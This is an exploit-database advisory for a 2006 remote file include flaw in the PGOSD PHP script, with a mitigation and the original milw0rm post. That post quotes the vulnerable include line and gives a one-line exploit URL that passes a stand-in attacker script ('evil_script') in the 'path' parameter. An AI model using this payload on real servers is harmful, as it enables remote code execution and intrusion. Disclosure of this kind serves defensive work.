PHP Generator of Object SQL Database (path) Remote File Include Vulnerability

vendor:

PHP Generator of Object SQL Database (PGOSD)

by:

xoron

8,3

CVSS

HIGH

Remote File Include

CWE

Product Name: PHP Generator of Object SQL Database (PGOSD)

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

PHP Generator of Object SQL Database (path) Remote File Include Vulnerability

A remote file include vulnerability exists in the PHP Generator of Object SQL Database (PGOSD) script. The vulnerability is due to the 'path' parameter in the 'function.php3' script not properly sanitized before being used in a 'include' PHP function. This can be exploited to include arbitrary remote files by passing a URL in the 'path' parameter. Successful exploitation requires that 'register_globals' is set to 'on'.

Mitigation:

Set 'register_globals' to 'off' and ensure that user input is properly sanitized before being used in a 'include' PHP function.

Source

Exploit-DB raw data:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PHP Generator of Object SQL Database (path) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

Tum islam aleminin Ramazan Bayrami Mubarek oLsun..!

Ne mutlu türküm diyene

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

include $path."/misc/listoption.php3";


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/misc/function.php3?path=http://evil_script?


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, kacper, Preddy, Ironfist, Stansar, SHiKaA, Chaos, Nukedx, k1tk4t, x_w0x,OG

Tesekkurler: DJR, mdx, R3D4C!D, sakkure, ENTRIKA, ERNE:)

www.milw0rm.com
www.team-rootshell.com
www.cyber-warrior.org
irc.milw0rm.com #milw0rm

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

script down: http://vidalcharles.free.fr/pgosd/pgosd.tgz

# milw0rm.com [2006-10-22]